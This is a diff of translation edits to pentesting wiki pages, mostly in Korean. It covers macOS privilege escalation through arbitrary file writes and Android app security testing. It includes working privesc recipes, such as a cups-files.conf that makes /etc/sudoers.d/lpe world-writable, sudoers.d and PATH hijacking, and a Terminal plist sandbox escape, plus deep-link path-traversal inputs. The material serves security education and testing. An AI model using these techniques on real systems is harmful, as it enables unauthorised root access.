omit 키를 가지고 있습니다. 예를 들어: ```xml ... @@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu rules2 ... -^(.*/)?\.DS_Store$ +^(.*/index.html)?\.DS_Store$ omit @@ -221,13 +221,13 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu ... ``` -CLI에서 리소스의 서명을 계산하는 것은 다음과 같이 가능합니다: +리소스의 서명을 CLI에서 계산하는 것은 다음과 같이 가능합니다: ```bash openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 ``` ## Mount dmgs -사용자는 기존 폴더 위에 생성된 사용자 정의 dmg를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠로 사용자 정의 dmg 패키지를 생성할 수 있습니다: +사용자는 기존 폴더 위에 생성된 사용자 정의 dmg를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠가 포함된 사용자 정의 dmg 패키지를 생성할 수 있습니다: ```bash # Create the volume hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null @@ -257,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg 스크립트가 **셸 스크립트**로 해석될 수 있다면, 매일 트리거되는 **`/etc/periodic/daily/999.local`** 셸 스크립트를 덮어쓸 수 있습니다. -다음과 같이 이 스크립트의 실행을 **가짜로** 만들 수 있습니다: **`sudo periodic daily`** +이 스크립트의 실행을 **가짜로** 만들 수 있습니다: **`sudo periodic daily`** ### 데몬 @@ -278,23 +278,23 @@ hdiutil create -srcfolder justsome.app justsome.dmg ``` -`/Applications/Scripts/privesc.sh` 파일을 생성하고 **루트**로 실행하고 싶은 **명령어**를 입력하세요. +Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root. -### Sudoers 파일 +### Sudoers File -**임의 쓰기** 권한이 있다면, **`/etc/sudoers.d/`** 폴더 안에 파일을 생성하여 **sudo** 권한을 부여할 수 있습니다. +If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges. -### PATH 파일 +### PATH files -**`/etc/paths`** 파일은 PATH env 변수를 채우는 주요 장소 중 하나입니다. 이를 덮어쓰려면 루트 권한이 필요하지만, **특권 프로세스**의 스크립트가 **전체 경로 없이** 어떤 **명령어**를 실행하고 있다면, 이 파일을 수정하여 **하이재킹**할 수 있습니다. +The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file. -또한 **`/etc/paths.d`**에 파일을 작성하여 `PATH` env 변수에 새로운 폴더를 추가할 수 있습니다. +You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable. ### cups-files.conf 이 기술은 [이 글](https://www.kandji.io/blog/macos-audit-story-part1)에서 사용되었습니다. -다음 내용을 포함하여 `/etc/cups/cups-files.conf` 파일을 생성하세요: +Create the file `/etc/cups/cups-files.conf` with the following content: ``` ErrorLog /etc/sudoers.d/lpe LogFilePerm 777 @@ -308,11 +308,11 @@ LogFilePerm 777 ### 샌드박스 탈출 -FS 임의 쓰기를 통해 macOS 샌드박스를 탈출할 수 있습니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 그러나 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다. +FS 임의 쓰기를 통해 macOS 샌드박스를 탈출하는 것이 가능합니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 하지만 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다. ## 다른 사용자로서 쓰기 가능한 파일 생성 -이것은 내가 쓸 수 있는 루트 소속의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다: +이것은 내가 쓸 수 있는 루트 소유의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -326,7 +326,7 @@ echo $FILENAME ``` ## POSIX 공유 메모리 -**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()`과 `close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거합니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다. +**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()`과 `close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거할 수 있습니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
@@ -420,7 +420,7 @@ return 0; ```
-## macOS 보호된 설명자 +## macOS Guarded Descriptors **macOS 보호된 설명자**는 사용자 애플리케이션에서 **파일 설명자 작업**의 안전성과 신뢰성을 향상시키기 위해 macOS에 도입된 보안 기능입니다. 이러한 보호된 설명자는 파일 설명자와 특정 제한 또는 "가드"를 연결하는 방법을 제공하며, 이는 커널에 의해 시행됩니다. diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 2710b1084..737cc17f5 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -15,12 +15,12 @@ android-applications-basics.md 이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\ **ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다. -다음 [**ADB Commands**](adb-commands.md) 목록을 확인하여 adb 사용 방법을 배우세요. +다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배우세요. ## Smali -때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ -[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**. +때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ +[**이 튜토리얼에서** APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로, **이 가능성을 항상 염두에 두세요**. ## Other interesting tricks @@ -48,7 +48,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## 정적 분석 우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\ -자세한 정보는 [**여기를 읽어보세요, 다양한 디컴파일러에 대한 정보가 있습니다**](apk-decompilers.md). +자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md). ### 흥미로운 정보 찾기 @@ -56,7 +56,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github. **Firebase** -**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml @@ -67,7 +67,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github. - **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요. - **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다. - **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다. -- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다. +- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다. - **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다. - **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다. - **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다. @@ -87,9 +87,9 @@ tapjacking.md ### 작업 하이재킹 -**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(즉, 사용자는 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). +**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). -자세한 정보는 다음에서 확인하세요: +자세한 내용은 다음에서 확인하세요: {{#ref}} android-task-hijacking.md @@ -99,12 +99,12 @@ android-task-hijacking.md **내부 저장소** -Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 **다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 제한하지 않습니다**. +Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 **제한하지 않습니다**. 1. **정적 분석:** -- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**. +- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**. 2. **동적 분석:** -- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. +- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. **외부 저장소** @@ -116,9 +116,9 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱** - 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**. - 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다. 3. **외부 저장소에서 데이터 처리**: -- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행해야 합니다**. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. -- 외부 저장소에 실행 파일이나 클래스 파일을 저장하여 동적으로 로드하는 것은 강력히 권장되지 않습니다. -- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증된 후 동적으로 로드되도록 해야 합니다**. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다. +- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. +- 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다. +- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증되었는지 확인**한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. 외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다. @@ -149,11 +149,11 @@ A good way to test this is to try to capture the traffic using some proxy like B **Use of Insecure and/or Deprecated Algorithms** -개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다. +개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다. ### Other checks -- 공격자가 리버스 엔지니어링 작업을 어렵게 하기 위해 **APK를 난독화**하는 것이 좋습니다. +- APK를 **난독화**하여 공격자의 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다. - 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다. - 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다. @@ -266,10 +266,10 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 권장합니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. +개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. > [!WARNING] -> **Android 4.0 이후 버전**에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\ +> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\ > 어쨌든, **민감한 정보를 기록하지 않는 것이 여전히 권장됩니다**. **Copy/Paste Buffer Caching** @@ -280,7 +280,7 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣 애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다. -펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**. +펜테스터로서 **이 로그를 살펴보는 것이 좋습니다**. **Analytics Data Sent To 3rd Parties** @@ -288,22 +288,22 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣 ### SQLite DBs -대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\ +대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\ 데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다. -데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다. +데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다. `.tables`를 사용하여 테이블을 나열하고, `.schema `을 사용하여 테이블의 열을 나열합니다. ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 것을 기억하세요. +또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 점을 기억하세요. **Authorisation bypass** @@ -321,43 +321,43 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다. > [!NOTE] -> 권한 우회가 항상 취약점이 되는 것은 아니며, 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다. +> 권한 우회가 항상 취약점이 되는 것은 아니며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다. **민감한 정보 유출** -**활동은 결과를 반환할 수도 있습니다**. 만약 보호되지 않은 내보내기된 활동에서 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환**하는 것을 찾으면, 민감한 정보 유출이 발생합니다. +**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 이는 민감한 정보 유출입니다. #### Tapjacking -Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 참조하세요**](#tapjacking). +Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 클릭하세요**](#tapjacking). -### **콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작** +### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작 -[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\ -콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. +[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\ +콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. [**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers) ### **서비스 악용** -[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\ +[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\ 서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요. -서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\ +서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로 테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\ [**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services) ### **브로드캐스트 수신기 악용** -[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ +[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ 브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요. -브로드캐스트 수신기는 특정 유형의 메시지를 기다립니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ +브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ [**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers) ### **스킴 / 딥 링크 악용** MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\ -**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다: +**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -376,11 +376,11 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해 **민감한 정보** -딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!** +딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 왜냐하면 다른 애플리케이션이 **딥링크를 가장하여 그 데이터를 훔칠 수 있기 때문입니다!** **경로의 매개변수** -**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같은 경로 탐색을 강제할 수 있습니다.\ +**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 경로 탐색을 강제하여 다음과 같은 접근을 할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ 애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요. **더 많은 예시** @@ -390,8 +390,8 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해 ### 전송 계층 검사 및 검증 실패 - **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다. -- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호화 스위트를 사용합니다. 이 취약점은 